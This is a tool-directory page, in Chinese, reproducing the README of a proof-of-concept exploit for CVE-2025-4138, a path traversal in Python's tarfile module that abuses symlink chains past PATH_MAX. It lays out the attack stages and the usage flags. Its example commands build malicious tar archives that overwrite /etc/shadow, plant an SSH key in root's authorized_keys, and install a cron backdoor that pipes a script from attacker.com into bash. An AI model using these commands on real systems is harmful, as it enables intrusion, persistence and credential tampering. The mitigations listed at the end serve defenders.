Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2025-4138-POC — Python PoC for CVE-2025-4138,一种利用符号链接链绕过PATH_MAX实现任意文件写入的Python tarfile模块路径遍历漏洞。 | Kitploit
工具/GitHubGitHub/d3vn0mi/cve-2025-4138-poc
漏洞分析漏洞利用Web应用程序漏洞利用渗透测试学习与教育Payload 开发
GitHubd3vn0mi/cve-2025-4138-poc

CVE-2025-4138-POC

Python PoC for CVE-2025-4138,一种利用符号链接链绕过PATH_MAX实现任意文件写入的Python tarfile模块路径遍历漏洞。

查看仓库
5个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2025-4138 - Python tarfile PATH_MAX 绕过 PoC

作者: d3vn0mi

root@kitploit:~
   _______  _______     ____  ___ ___  ___      _ _  _ _____ ___
  / ___\ \ / / ____|   |___ \/ _ \__ \| __|    | | || |___ /( _ )
 | |    \ V /|  _| _____ __) | | | |) |__ \ ___| | || |_|_ \/ _ \
 | |___  | | | |__|_____/ __/| |_| / __/___) |___|__   _|__) \__, |
  \____| |_| |_____|   |_____|\___/_____|____/      |_||____/ /_/

  [ CVE-2025-4138 :: Python tarfile PATH_MAX 绕过 ]
  [ 作者: d3vn0mi                                 ]

概述

针对 CVE-2025-4138 的概念验证利用代码,这是一个 Python tarfile 模块中的路径遍历漏洞。该漏洞允许攻击者通过滥用符号链接链使其超出 PATH_MAX 限制,从而构造恶意的 tar 归档文件,将文件写入预期解压目录之外的任意位置。

漏洞详情

工作原理

利用过程分为四个阶段:

  1. 路径膨胀 -- 构造一层深度嵌套的目录和符号链接链,使最终解析路径超过内核的 PATH_MAX 限制(Linux 上为 4096 字节)。

  2. 枢轴符号链接 -- 添加一个符号链接,其解析路径跨越 PATH_MAX 边界。由于路径过长无法解析,Python 的 tarfile 安全检查(依赖 os.path.realpath())会静默失败并跳过验证。

  3. 逃逸符号链接 -- 第二个符号链接利用 ../ 遍历,通过枢轴符号链接逃离解压目录,指向文件系统上攻击者控制的绝对路径。

  4. 载荷投放 -- 通过逃逸符号链接写入一个常规文件,以攻击者控制的内容和权限落在目标路径。

root@kitploit:~
解压目录
    |
    +-- ddd...d/          (247 字符的目录名)
    |   +-- a -> ddd...d  (符号链接快捷方式)
    |   +-- ddd...d/
    |       +-- b -> ddd...d
    |       +-- ...       (16 层深,解析路径 > 4096)
    |
    +-- a/b/.../p/lll...l -> ../../...   (枢轴 - PATH_MAX 已超出)
    +-- escape -> pivot + ../../... + /target/dir  (逃逸)
    +-- escape/target_file  <-- 载荷落在此处 (解压目录之外)

安装

root@kitploit:~
git clone https://github.com/d3vn0mi/cve_2025_4138_poc.git
cd cve_2025_4138_poc

无需外部依赖 -- 该漏洞利用仅使用 Python 3 标准库模块。

用法

root@kitploit:~
usage: cve_2025_4138.py [-h] [-o OUTPUT] [-t TARGET] [-p PAYLOAD]
                        [-s PAYLOAD_STRING] [-k SSH_KEY] [-m MODE]
                        [-d DEPTH] [-v] [-q]

选项

示例

将 SSH 公钥写入 root 的 authorized_keys:

root@kitploit:~
python3 cve_2025_4138.py -k ~/.ssh/id_rsa.pub -v

写入持久化 cron 任务:

root@kitploit:~
python3 cve_2025_4138.py \
  -s "* * * * * root curl http://attacker.com/shell.sh | bash" \
  -t /etc/cron.d/backdoor \
  -m 0644 \
  -o cron_exploit.tar

从本地文件写入任意文件内容:

root@kitploit:~
python3 cve_2025_4138.py \
  -p payload.txt \
  -t /etc/shadow \
  -o shadow_exploit.tar \
  -v

输出

root@kitploit:~
[*] 正在构建漏洞利用 tar 包: exploit.tar
[*] 目标文件: /root/.ssh/authorized_keys
[*] 载荷大小: 574 字节
[*] 遍历深度: 8
[*] 阶段 1/4: 创建用于路径膨胀的符号链接链...
[*]   链接 1/16: 解析路径长度 ~247 字节
[*]   链接 2/16: 解析路径长度 ~494 字节
    ...
[*] 阶段 2/4: 创建枢轴符号链接 (PATH_MAX 绕过)...
[*] 阶段 3/4: 创建逃逸符号链接 (目录遍历)...
[*] 阶段 4/4: 通过逃逸符号链接写入载荷...
[+] 漏洞利用 tar 包已创建: exploit.tar
[+] 归档大小: 20480 字节
[+] 目标: /root/.ssh/authorized_keys (权限 0o600)
[+] 完成。请谨慎使用 - 仅限授权测试。

缓解措施

  • 升级 Python 到已修复的版本(修复发布后)。
  • 使用 tarfile.data_filter(Python 3.12+),提供更严格的解压控制。
  • 切勿以 root 身份或在敏感目录中解压不受信任的 tar 归档文件。
  • 使用 --strip-components 或在解压前验证归档内容。
  • 应用文件系统级别的保护,例如限制符号链接跟随(fs.protected_symlinks)。

免责声明

本工具仅用于授权的安全测试和教育目的。未经授权访问计算机系统是违法的。作者对滥用行为概不负责。在针对您不拥有的系统进行测试之前,请务必获得适当的书面授权。

许可证

本项目采用 MIT 许可证。


d3vn0mi | GitHub

下载工具
字段值
CVE IDCVE-2025-4138
组件Python tarfile 模块
类型路径遍历 (CWE-22)
攻击向量符号链接链 + PATH_MAX 绕过
影响在解压目录之外任意写入文件
标志描述
-o, --output输出 tar 包路径(默认:exploit.tar)
-t, --target目标上要写入文件的绝对路径(默认:/root/.ssh/authorized_keys)
-p, --payload文件路径,其内容将作为载荷
-s, --payload-string使用字面字符串作为载荷
-k, --ssh-keySSH 公钥文件路径
-m, --mode文件权限模式(八进制,默认:0600)
-d, --depth目录遍历深度(默认:8)
-v, --verify创建后 dump tar 包内容
-q, --quiet隐藏横幅